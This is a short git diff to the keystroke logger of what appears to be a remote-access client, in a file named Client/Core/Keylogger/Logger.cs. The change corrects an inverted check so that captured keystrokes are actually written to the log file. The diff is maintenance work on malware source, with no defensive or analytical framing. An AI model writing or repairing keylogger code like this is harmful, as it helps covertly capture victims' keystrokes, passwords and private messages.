diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index 5bb7ed9e..25d8b9a7 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -207,7 +207,7 @@ private void WriteFile() "Log created on " + DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "
"); - if (string.IsNullOrEmpty(_keyBuffer.ToString())) + if (!string.IsNullOrEmpty(_keyBuffer.ToString())) sw.Write(_keyBuffer); _hWndLastTitle = string.Empty;